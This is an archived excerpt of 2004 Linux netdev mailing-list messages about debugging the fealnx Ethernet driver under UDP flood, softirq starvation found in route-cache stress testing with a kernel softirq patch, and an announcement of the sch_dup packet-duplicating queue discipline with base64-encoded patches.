<200403292349.07070.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 4329 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 4868 Lines: 126 [CCed myself to have nice thread view in Kmail] > I tried this one: > > It may be simpler/safer to turn (init_ring): > > np->lack_rxbuf = NULL; > > into > > np->lack_rxbuf = np->rx_ring; > > > > I'll check the whole thing tomorrow. It's time to sleep now. > > And everything seems to work better then ever before.. :) > > I transfered 2 GB of data over my lan and didn't even get a single > "transmit timed out" or anything. I tested this. Does not oops. Drowns in 'too much work in interrupt' and 0-order alloc failures instead. I cannot ctrl-C my netcat in order to stop UDP flood. I shall be able to do it. I revieved patched driver code a bit and have a couple of questions. I'll post code chunks and then questions below. Code contains my debugging additions, all flagged with '//vda' comments. I did not come up with a new patch because I don't feel stupid (brave?) enough to decide what to do with rx when there is no buffers. I don't fully understand how this stuff interacts with PCI bus and card's hardware (how does rx packet data end up in RAM). struct fealnx_desc *cur_rx; struct fealnx_desc *lack_rxbuf; please, lack_rx without 'buf'. Sometimes I grep for '_rx->something'. np->cur_rx = &np->rx_ring[0]; np->lack_rxbuf = np->rx_ring; same value, differently expressed. /* for the last descriptor */ next = np->cur_tx_copy.next_desc_logical; this code is #ifdef'ed out, but this ^^^ is still a bug. shall be '->' Now, more serious stuff: in intr_handler(): if (--boguscnt < 0) { printk(KERN_WARNING "%s: Too much work at interrupt, " "status=0x%4.4x.\n", dev->name, intr_status); break; } Shall we do something with this condition? What if card is simply go mad? Maybe card reset? static int netdev_rx(struct net_device *dev) { struct netdev_private *np = dev->priv; if( ! (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) ) { //vda: printk(KERN_ERR "netdev_rx(): nothing to do?! (np->cur_rx->status & RXOWN) == 0x%04x, np->cur_rx->skbuff == %p\n" ,(np->cur_rx->status & RXOWN) ,np->cur_rx->skbuff ); } I added this. If we trigger this, netdev_rx won't enter while() loop and will do essentially nothing except for trying to allocate_rx_buffers(dev). I have a suspicion that device will trigger intr again _for the same packet_. Do we need some code to tell device to drop this packet? I did trigger this right before 'too much work' (RXOWN was set, ->skbuff was not NULL). What does it mean? Card received a packet but _not_ into this buffer? How card decides into which buffer to receive? Shall we check them all? if (np->really_rx_count == 0) { //vda: printk(KERN_ERR "netdev_rx(): np->really_rx_count is 0 before while()\n"); } did not trigger this, but if it happens, above comment apply. There were no free rx buffers, yet we are in rx intr. Time to cry out loud! /* If EOP is set on the next entry, it's a new packet. Send it up. */ while (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) { s32 rx_status = np->cur_rx->status; ... further in netdev_rx(): if (pkt_len < rx_copybreak && (skb = dev_alloc_skb(pkt_len + 2)) != NULL) { skb->dev = dev; skb_reserve(skb, 2); /* 16 byte align the IP header */ 16 *bit* align maybe? /* Call copy + cksum if available. */ #if ! defined(__alpha__) eth_copy_and_sum(skb, np->cur_rx->skbuff->tail, pkt_len, 0); skb_put(skb, pkt_len); #else memcpy(skb_put(skb, pkt_len), np->cur_rx->skbuff->tail, pkt_len); #endif } else { skb_put(skb = np->cur_rx->skbuff, pkt_len); np->cur_rx->skbuff = NULL; --np->really_rx_count; } skb->protocol = eth_type_trans(skb, dev); netif_rx(skb); dev->last_rx = jiffies; np->stats.rx_packets++; np->stats.rx_bytes += pkt_len; } np->cur_rx = np->cur_rx->next_desc_logical; } /* end of while loop */ if(pkt_len < rx_copybreak...) path is taken, skbuff is still usable for next rx, no? Then why np->cur_rx = np->cur_rx->next_desc_logical? -- vda From romieu@fr.zoreil.com Mon Mar 29 14:22:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 14:22:32 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TMMRKO019101 for ; Mon, 29 Mar 2004 14:22:28 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2TMKlgf009844; Tue, 30 Mar 2004 00:20:47 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2TMKlV7009843; Tue, 30 Mar 2004 00:20:47 +0200 Date: Tue, 30 Mar 2004 00:20:47 +0200 From: Francois Romieu To: Denis Vlasenko Cc: Andreas Henriksson , Jeff Garzik , netdev@oss.sgi.com Subject: Re: fealnx oopses Message-ID: <20040330002047.D4744@electric-eye.fr.zoreil.com> References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <20040329013834.B24996@electric-eye.fr.zoreil.com> <20040329170143.GA28822@scream.fjortis.info> <200403292349.07070.vda@port.imtp.ilyichevsk.odessa.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200403292349.07070.vda@port.imtp.ilyichevsk.odessa.ua>; from vda@port.imtp.ilyichevsk.odessa.ua on Mon, Mar 29, 2004 at 11:49:06PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 4330 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 2734 Lines: 68 Denis Vlasenko : [...] > in intr_handler(): > if (--boguscnt < 0) { > printk(KERN_WARNING "%s: Too much work at interrupt, " > "status=0x%4.4x.\n", dev->name, intr_status); > break; > } > Shall we do something with this condition? > What if card is simply go mad? Maybe card reset? 1 - Yes. 2 - disable the offending interruption/NAPI (reset is not needed) [...] > static int netdev_rx(struct net_device *dev) > { > struct netdev_private *np = dev->priv; > > if( ! (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) ) { //vda: > printk(KERN_ERR "netdev_rx(): nothing to do?! (np->cur_rx->status & RXOWN) == 0x%04x, np->cur_rx->skbuff == %p\n" > ,(np->cur_rx->status & RXOWN) > ,np->cur_rx->skbuff > ); > } > I added this. If we trigger this, netdev_rx won't enter > while() loop and will do essentially nothing > except for trying to allocate_rx_buffers(dev). It is supposed to mean that there is an unallocated buffer in the ring and that the driver has simply wrapped to the point where it met it again. So there is only one thing to do: try to allocate. [...] > I did trigger this right before 'too much work' > (RXOWN was set, ->skbuff was not NULL). > What does it mean? Card received a packet but _not_ > into this buffer? How card decides into which buffer > to receive? Shall we check them all? It probably means that several packets were processed during a previous interruption so when this interruption is triggered, there's nothing to do. [...] > further in netdev_rx(): > if (pkt_len < rx_copybreak && > (skb = dev_alloc_skb(pkt_len + 2)) != NULL) { > skb->dev = dev; > skb_reserve(skb, 2); /* 16 byte align the IP header */ > 16 *bit* align maybe? Classical typo. Don't change it :o) [...] > np->cur_rx = np->cur_rx->next_desc_logical; > } /* end of while loop */ > if(pkt_len < rx_copybreak...) path is taken, skbuff is still usable > for next rx, no? Then why np->cur_rx = np->cur_rx->next_desc_logical? Not for the next Rx: the whole ring will have to be processed first. The sole difference when copybreak does not apply is that an allocation should be performed for the relevant descriptor. The descriptor are set up in a circular list and the asic walks this list. So whatever happens, the driver must consider the next descriptor as current for the upcoming interruption. -- Ueimor From andrea@suse.de Mon Mar 29 14:29:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 14:29:38 -0800 (PST) Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it [217.133.42.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TMTWKO019725 for ; Mon, 29 Mar 2004 14:29:33 -0800 Received: by dualathlon.random (Postfix, from userid 500) id E8FD14A65; Tue, 30 Mar 2004 00:29:26 +0200 (CEST) Date: Tue, 30 Mar 2004 00:29:26 +0200 From: Andrea Arcangeli To: Dipankar Sarma Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert Olsson , "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton Subject: Re: route cache DoS testing and softirqs Message-ID: <20040329222926.GF3808@dualathlon.random> References: <20040329184550.GA4540@in.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040329184550.GA4540@in.ibm.com> User-Agent: Mutt/1.4.1i X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49 C012 DFA1 686E 68B9 CB43 X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC C0 4B 81 1D 8C 15 C8 E5 X-archive-position: 4331 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andrea@suse.de Precedence: bulk X-list: netdev Content-Length: 8924 Lines: 214 On Tue, Mar 30, 2004 at 12:15:50AM +0530, Dipankar Sarma wrote: > Robert Olsson noticed dst cache overflows while doing DoS stress testing in a > 2.6 based router setup a few months and davem, alexey, robert and I > have been discussing this privately since then (198 mails, no less!!). > Recently, I set up an environment to test Robert's problem and have > been characterizing it. My setup is - > > pktgen box --- in router out -- > eth0 eth0 <-> dumm0 > > 10.0.0.1 10.0.0.2 5.0.0.1 > > The router box is a 2-way P4 xeon 2.4 GHz with 256MB memory. I use > Robert's pktgen script - > > CLONE_SKB="clone_skb 1" > PKT_SIZE="pkt_size 60" > #COUNT="count 0" > COUNT="count 10000000" > IPG="ipg 0" > > PGDEV=/proc/net/pktgen/eth0 > echo "Configuring $PGDEV" > pgset "$COUNT" > pgset "$CLONE_SKB" > pgset "$PKT_SIZE" > pgset "$IPG" > pgset "flag IPDST_RND" > pgset "dst_min 5.0.0.0" > pgset "dst_max 5.255.255.255" > pgset "flows 32768" > pgset "flowlen 10" > > With this, wthin a few seconds of starting pktgen, I get dst cache > overflow messages. I use the following instrumentation patch > to look at what's happening - > > http://lse.sourceforge.net/locking/rcu/rtcache/pktgen/patches/15-rcu-debug.patch > I tried both vanilla 2.6.0 and 2.6.0 + throttle-rcu patch which limits > RCU to 4 updates per RCU tasklet. The results are here - > > http://lse.sourceforge.net/locking/rcu/rtcache/pktgen/gracedata/cpu-grace.png > > This graph shows the maximum grace period during ~4ms time buckets on x-axis. > > Couple of things are clear from this - > > 1. RCU grace periods of upto 300ms are seen. 300ms + 100Kpps packet > amounts to about 30000 pending dst entries which result in route cache > overflow. > > 2. throttle-rcu is only marginally better (10% less worst case grace period). > > So, what causes RCU to stall for 300ms odd time ? I did some measurements > using the following patch - > > http://lse.sourceforge.net/locking/rcu/rtcache/pktgen/patches/25-softirq-debug.patch > > It applies on top of the 15-rcu-debug patch. This counts the number of > softirqs (in effect and approximation) during ~4ms time buckets. The > result is here - > > http://lse.sourceforge.net/locking/rcu/rtcache/pktgen/softirq/cpu-softirq.png > > The rcu grace period spikes are always accompanied by softirq frequency > spikes. So, this indicates that it is the large number of quick-running > softirqs that cause userland starvation which in turn result in RCU > delays. This raises a fundamental question - should we work around > this by providing a quiescent point at the end of every softirq handler > (giving softirqs its own RCU mechanism) or should we address a wider > problem, the system getting overwhelmed by heavy softirq load, and > try to implement a real softirq throttling mechanism that balances > cpu use. > > Robert demonstrated to us sometime ago with a small > timestamping user program to show that it can get starved for > more than 6 seconds in his system. So userland starvation is an > issue. softirqs are already capable of being offloaded to scheduler-friendy kernel threads to avoid starvation, if this wasn't the case NAPI would have no way to work in the first place and everything else would fall apart too, not just the rcu-route-cache. I don't think high latencies and starvation are the same thing, starvation means for "indefinite time" and you can't hang userspace for indefinite time using softirqs. For sure the irq based load, and in turn softirqs too, can take a large amount of cpu (though not 100%, this is why it cannot be called starvation). the only real starvation you can claim is in presence of an _hard_irq flood, not a softirq one. Ingo had some patch for the hardirq throttling, unfortunately those pathes were mixed with irrelevant softirq changes, but the hardirq part of these patches was certainly valid (though in most business environments I imagine if one is under hardirq attack in the local ethernet, the last worry is probably the throttling of hardirqs ;) The softirq issue you mention simply shows how these softirqs keeps being served with slightly higher prio than the regular kernel code, and by doing so they make more progress than regular kernel code during spike of softirq load. The problem with rcu based softirq load, is that these softirqs requires the scheduler to keep going or they overflow if they keep running instead of the scheduler. They require the scheduler to keep up with the softirq load. This has never been the case so far, and serving softirq as fast as possible is normally a good thing for server/firewalls, the small unfariness (note unfariness != starvation) it generates has never been an issue, because so far the softirq never required the scheduler to work in order to do their work, rcu changed this in the routing cache specific case. So you're simply asking the ksoftirqd offloading to become more aggressive, and to make the softirq even more scheduler friendly, something I never had a reason to do yet, since ksoftirqd already eliminates the starvation issue, and secondly because I did care about the performance of softirq first (delaying softirqs is derimental for performance if it happens frequently w/o this kind of flood-load). I even got a patch for 2.4 doing this kind of changes to the softirqd for similar reasons on embedded systems where the cpu spent on the softirqs would been way too much under attack. I had to back it out since it was causing drop of performance in specweb or something like that and nobody but the embdedded people needed it. But now here we've a case where it makes even more sense since the hardirq aren't strictly related to this load, this load with the rcu-routing-cache is just about letting the scheduler go together witn an intensive softirq load. So we can try again with a truly userspace throttling of the softirqs (and in 2.4 I didn't change the nice from 19 to -20 so maybe this will just work perfectly). btw, the set_current_state(TASK_INTERRUPTIBLE) before kthread_should_stop seems overkill w.r.t. smp locking, plus the code is written in the wrong way around, all set_current_state are in the wrong place. It's harmless but I cleaned up that bit as well. I would suggest to give this untested patch a try and see if it fixes your problem completely or not: --- sles/kernel/softirq.c.~1~ 2004-03-29 19:05:17.140586072 +0200 +++ sles/kernel/softirq.c 2004-03-30 00:28:11.097296968 +0200 @@ -58,6 +58,14 @@ static inline void wakeup_softirqd(void) wake_up_process(tsk); } +static inline int local_softirqd_running(void) +{ + /* Interrupts are disabled: no need to stop preemption */ + struct task_struct *tsk = __get_cpu_var(ksoftirqd); + + return tsk && tsk->state == TASK_RUNNING; +} + /* * We restart softirq processing MAX_SOFTIRQ_RESTART times, * and we fall back to softirqd after that. @@ -71,13 +79,15 @@ static inline void wakeup_softirqd(void) asmlinkage void do_softirq(void) { - int max_restart = MAX_SOFTIRQ_RESTART; + int max_restart; __u32 pending; unsigned long flags; - if (in_interrupt()) + if (in_interrupt() || local_softirqd_running()) return; + max_restart = MAX_SOFTIRQ_RESTART; + local_irq_save(flags); pending = local_softirq_pending(); @@ -308,16 +318,14 @@ void __init softirq_init(void) static int ksoftirqd(void * __bind_cpu) { - set_user_nice(current, 19); + set_user_nice(current, -20); current->flags |= PF_IOTHREAD; - set_current_state(TASK_INTERRUPTIBLE); - while (!kthread_should_stop()) { - if (!local_softirq_pending()) + if (!local_softirq_pending()) { + __set_current_state(TASK_INTERRUPTIBLE); schedule(); - - __set_current_state(TASK_RUNNING); + } while (local_softirq_pending()) { /* Preempt disable stops cpu going offline. @@ -331,20 +339,16 @@ static int ksoftirqd(void * __bind_cpu) cond_resched(); } - __set_current_state(TASK_INTERRUPTIBLE); } - __set_current_state(TASK_RUNNING); return 0; wait_to_die: preempt_enable(); /* Wait for kthread_stop */ - __set_current_state(TASK_INTERRUPTIBLE); while (!kthread_should_stop()) { - schedule(); __set_current_state(TASK_INTERRUPTIBLE); + schedule(); } - __set_current_state(TASK_RUNNING); return 0; } From vda@port.imtp.ilyichevsk.odessa.ua Mon Mar 29 14:51:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 14:52:01 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TMpsKO021557 for ; Mon, 29 Mar 2004 14:51:56 -0800 Received: (qmail 22387 invoked by alias); 29 Mar 2004 22:50:47 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 29 Mar 2004 22:50:47 -0000 From: Denis Vlasenko To: Francois Romieu Subject: Re: fealnx oopses Date: Tue, 30 Mar 2004 00:50:42 +0200 User-Agent: KMail/1.5.4 Cc: Andreas Henriksson , Jeff Garzik , netdev@oss.sgi.com, Denis Vlasenko References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403292349.07070.vda@port.imtp.ilyichevsk.odessa.ua> <20040330002047.D4744@electric-eye.fr.zoreil.com> In-Reply-To: <20040330002047.D4744@electric-eye.fr.zoreil.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403300050.42367.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 4332 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 3504 Lines: 93 I think bug can be considered fixed if I can start netcat UDP flood, wait however long I want, then press ctrl-C and get my bash prompt back. Local netcat closes socket and exits, remote netcat gets its icmp 'port unreachable' and exits too. Everybody's happy. Oopses are gone but it looks like box is so much interrupt flooded that userspace has no chance of processing ctrl-C. What can we do? I think driver can do something useful whet it detects 'too much work in interrupt'. Disabling rx for several ms seems like 'quick and dirty' way. Francois what do you think? Can you code something up for me to test? On Tuesday 30 March 2004 00:20, Francois Romieu wrote: > Denis Vlasenko : > [...] > > > in intr_handler(): > > if (--boguscnt < 0) { > > printk(KERN_WARNING "%s: Too much work at > > interrupt, " "status=0x%4.4x.\n", dev->name, intr_status); break; > > } > > Shall we do something with this condition? > > What if card is simply go mad? Maybe card reset? > > 1 - Yes. > 2 - disable the offending interruption/NAPI (reset is not needed) Imagine that hardware got stuck with intr constantly asserted. Reset can cure that. In any event, it might give us a needed pause of several ms, just what I want. If you worry about lost packets, that's not a concern - if we reached this, we are dropping tons of them already. > [...] > > > static int netdev_rx(struct net_device *dev) > > { > > struct netdev_private *np = dev->priv; > > > > if( ! (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) ) { > > //vda: printk(KERN_ERR "netdev_rx(): nothing to do?! (np->cur_rx->status > > & RXOWN) == 0x%04x, np->cur_rx->skbuff == %p\n" ,(np->cur_rx->status & > > RXOWN) > > ,np->cur_rx->skbuff > > ); > > } > > I added this. If we trigger this, netdev_rx won't enter > > while() loop and will do essentially nothing > > except for trying to allocate_rx_buffers(dev). > > It is supposed to mean that there is an unallocated buffer in the ring and > that the driver has simply wrapped to the point where it met it again. > So there is only one thing to do: try to allocate. Hm, but why we got rx intr at all? Card couldn't receive packet into non-allocated buffer, right? > [...] > > > I did trigger this right before 'too much work' > > (RXOWN was set, ->skbuff was not NULL). > > What does it mean? Card received a packet but _not_ > > into this buffer? How card decides into which buffer > > to receive? Shall we check them all? > > It probably means that several packets were processed during a previous > interruption so when this interruption is triggered, there's nothing to > do. Aha, card didn't know that and prods CPU again. I got it. > [...] > > > np->cur_rx = np->cur_rx->next_desc_logical; > > } /* end of while loop */ > > if(pkt_len < rx_copybreak...) path is taken, skbuff is still usable > > for next rx, no? Then why np->cur_rx = np->cur_rx->next_desc_logical? > > Not for the next Rx: the whole ring will have to be processed first. The > sole difference when copybreak does not apply is that an allocation should > be performed for the relevant descriptor. The descriptor are set up in a > circular list and the asic walks this list. So whatever happens, the driver > must consider the next descriptor as current for the upcoming interruption. /me feels enlightened -- vda From vda@port.imtp.ilyichevsk.odessa.ua Mon Mar 29 15:16:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 15:17:05 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TNGnKO023303 for ; Mon, 29 Mar 2004 15:16:51 -0800 Received: (qmail 24706 invoked by alias); 29 Mar 2004 23:16:46 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 29 Mar 2004 23:16:46 -0000 From: Denis Vlasenko To: Francois Romieu Subject: Re: fealnx oopses Date: Tue, 30 Mar 2004 01:16:41 +0200 User-Agent: KMail/1.5.4 Cc: Andreas Henriksson , Jeff Garzik , netdev@oss.sgi.com, Denis Vlasenko References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <20040330002047.D4744@electric-eye.fr.zoreil.com> <200403300050.42367.vda@port.imtp.ilyichevsk.odessa.ua> In-Reply-To: <200403300050.42367.vda@port.imtp.ilyichevsk.odessa.ua> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403300116.41377.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 4333 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 1750 Lines: 46 On Tuesday 30 March 2004 00:50, Denis Vlasenko wrote: > I think bug can be considered fixed if I can start > netcat UDP flood, wait however long I want, then press > ctrl-C and get my bash prompt back. Local netcat > closes socket and exits, remote netcat gets its > icmp 'port unreachable' and exits too. Everybody's > happy. > > Oopses are gone but it looks like box is so much interrupt > flooded that userspace has no chance of processing ctrl-C. > What can we do? I think driver can do something useful > whet it detects 'too much work in interrupt'. Disabling rx > for several ms seems like 'quick and dirty' way. I just verified that even if I stop remote netcat, box does not recover. Console fills with "Too much work at interrupt, status=0x0020" 0x0020 is RBU = 0x00000020, /* receive buffer unavailable */ > Francois what do you think? Can you code something up > for me to test? > > On Tuesday 30 March 2004 00:20, Francois Romieu wrote: > > Denis Vlasenko : > > [...] > > > > > in intr_handler(): > > > if (--boguscnt < 0) { > > > printk(KERN_WARNING "%s: Too much work at > > > interrupt, " "status=0x%4.4x.\n", dev->name, intr_status); break; > > > } > > > Shall we do something with this condition? > > > What if card is simply go mad? Maybe card reset? > > > > 1 - Yes. > > 2 - disable the offending interruption/NAPI (reset is not needed) > > Imagine that hardware got stuck with intr constantly asserted. > Reset can cure that. In any event, it might give us a needed > pause of several ms, just what I want. > > If you worry about lost packets, that's not a concern - > if we reached this, we are dropping tons of them already. -- vda From vda@port.imtp.ilyichevsk.odessa.ua Mon Mar 29 15:19:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 15:19:06 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TNJ1KO023716 for ; Mon, 29 Mar 2004 15:19:03 -0800 Received: (qmail 24726 invoked by alias); 29 Mar 2004 23:18:59 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 29 Mar 2004 23:18:59 -0000 From: Denis Vlasenko To: Jeff Garzik Subject: Re: fealnx oopses Date: Tue, 30 Mar 2004 01:18:55 +0200 User-Agent: KMail/1.5.4 Cc: Francois Romieu , Andreas Henriksson , netdev@oss.sgi.com, Denis Vlasenko References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403300050.42367.vda@port.imtp.ilyichevsk.odessa.ua> <4068AC87.2030506@pobox.com> In-Reply-To: <4068AC87.2030506@pobox.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403300118.55631.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 4334 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 876 Lines: 26 On Tuesday 30 March 2004 01:08, Jeff Garzik wrote: > Denis Vlasenko wrote: > > I think bug can be considered fixed if I can start > > netcat UDP flood, wait however long I want, then press > > ctrl-C and get my bash prompt back. Local netcat > > closes socket and exits, remote netcat gets its > > icmp 'port unreachable' and exits too. Everybody's > > happy. > > > > Oopses are gone but it looks like box is so much interrupt > > flooded that userspace has no chance of processing ctrl-C. > > What can we do? I think driver can do something useful > > whet it detects 'too much work in interrupt'. Disabling rx > > for several ms seems like 'quick and dirty' way. > > > > Francois what do you think? Can you code something up > > for me to test? > > Andreas had a francois+jgarzik patch, I thought...? > > Looking good... Yes, I did all these tests with this patch. -- vda From util@deuroconsult.ro Mon Mar 29 19:19:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 19:19:20 -0800 (PST) Received: from hosting.rdsbv.ro (webhosting.rdsbv.ro [213.157.185.164]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2U3JBKO003275 for ; Mon, 29 Mar 2004 19:19:12 -0800 Received: from hosting.rdsbv.ro (hosting.rdsbv.ro [213.157.185.164]) by hosting.rdsbv.ro (8.12.11/8.12.11) with ESMTP id i2TDjCBg016455; Mon, 29 Mar 2004 16:45:14 +0300 Date: Mon, 29 Mar 2004 16:45:12 +0300 (EEST) From: Catalin BOIE X-X-Sender: util@hosting.rdsbv.ro To: "David S. Miller" , netdev@oss.sgi.com, linux-net@vger.kernel.org, lartc@mailman.ds9a.nl, kuznet@ms2.inr.ac.ru Subject: [ANNOUNCE] sch_dup - duplicate packet queue discipline [2.6] Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1646943047-193734462-1080567496=:13656" Content-ID: X-archive-position: 4335 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: util@deuroconsult.ro Precedence: bulk X-list: netdev Content-Length: 14159 Lines: 256 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---1646943047-193734462-1080567496=:13656 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Hello! This is my first work for kernel, so please have mercy. :) OK, I like to announce sch_dup, a new queue discipline that, attached to a class (or a device, as root) duplicate packets that pass. Yes, you can control the frequency of duplicates. Example: tc qdisc add dev eth0 root dup limit 100 gap 1 This means: create a pfifo queue and send packets with a gap of 1 (0 = no dups) between duplicates: gap=0: no duplication gap=1: NDNDNDNDND gap=2: NNDNNDNNDNNDNND (N=not duplicated, D duplicated) Attached are 3 patches: 1 patch for net/sched dir, other for include/linux/pkg_sched.h, and the last for iproute2. Any comments are appreciated. David, please include it in 2.6. Alexey, please include the third patch in iproute2. Thank you! --- Catalin(ux aka Dino) BOIE catab at deuroconsult.ro ---1646943047-193734462-1080567496=:13656 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME=sch_dup_p1 Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME=sch_dup_p1 ZGlmZiAteCAnKi5tb2QuYycgLXggJyouY21kJyAteCAnKi5vJyAteCAnKi5r bycgLS1uZXctZmlsZSAtdXByIGxpbnV4LTIuNi41LXJjMi1vcmlnL25ldC9z Y2hlZC9LY29uZmlnIGxpbnV4LTIuN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wcmludGsoS0VSTl9ERUJVRyAiJXM6IEdvb2RieWUhXG4iLCBNT0RVTEVf TkFNRSk7DQorDQorCXJldCA9IHVucmVnaXN0ZXJfcWRpc2MoJmR1cF9xZGlz Y19vcHMpOw0KKwlpZiAocmV0ICE9IDApIHsNCisJCXByaW50ayhLRVJOX0RF QlVHICIlczogQ2Fubm90IHVucmVnaXN0ZXIgcWRpc2MgZHVwLiBTb3JyeSFc biIsDQorCQkgICAgICAgTU9EVUxFX05BTUUpOw0KKwl9DQorfQ0KKw0KK21v ZHVsZV9pbml0KGluaXRfZHVwKTsNCittb2R1bGVfZXhpdChleGl0X2R1cCk7 DQorDQorTU9EVUxFX0xJQ0VOU0UoIkdQTCIpOw0KK01PRFVMRV9BVVRIT1Io IkNhdGFsaW4odXgpIEJPSUUgLSA8Y2F0YWIgYXQgZGV1cm9jb25zdWx0LnJv PiIpOw0KK01PRFVMRV9ERVNDUklQVElPTigic2NoX2R1cCAtIER1cGxpY2F0 ZSBldmVyeSBuIHBhY2tldCIpOw0K ---1646943047-193734462-1080567496=:13656 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME=sch_dup_p2 Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME=sch_dup_p2 ZGlmZiAteCAnKi5vJyAteCAnKi5rbycgLXVwciBsaW51eC0yLjYuNS1yYzIt b3JpZy9pbmNsdWRlL2xpbnV4L3BrdF9zY2hlZC5oIGxpbnV4LTIuNi41LXJj Mi9pbmNsdWRlL2xpbnV4L3BrdF9zY2hlZC5oDQotLS0gbGludXgtMi42LjUt cmMyLW9yaWcvaW5jbHVkZS9saW51eC9wa3Rfc2NoZWQuaAkyMDA0LTAzLTIy IDEwOjE2OjI3LjAwMDAwMDAwMCArMDIwMA0KKysrIGxpbnV4LTIuNi41LXJj Mi9pbmNsdWRlL2xpbnV4L3BrdF9zY2hlZC5oCTIwMDQtMDMtMjkgMTI6MDE6 MTcuMDAwMDAwMDAwICswMzAwDQpAQCAtNDM4LDQgKzQzOCwxMyBAQCBzdHJ1 Y3QgdGNfZGx5X3FvcHQNCiAJX191MzIJbGF0ZW5jeTsNCiAJX191MzIgICBs aW1pdDsNCiB9OwkNCisNCisNCisvKiBEdXAgc2VjdGlvbiAqLw0KK3N0cnVj dCB0Y19kdXBfcW9wdA0KK3sNCisJX191MzIJZ2FwOw0KKwlfX3UzMglsaW1p dDsNCit9Ow0KKw0KICNlbmRpZg0K ---1646943047-193734462-1080567496=:13656 Content-Type: TEXT/PLAIN; 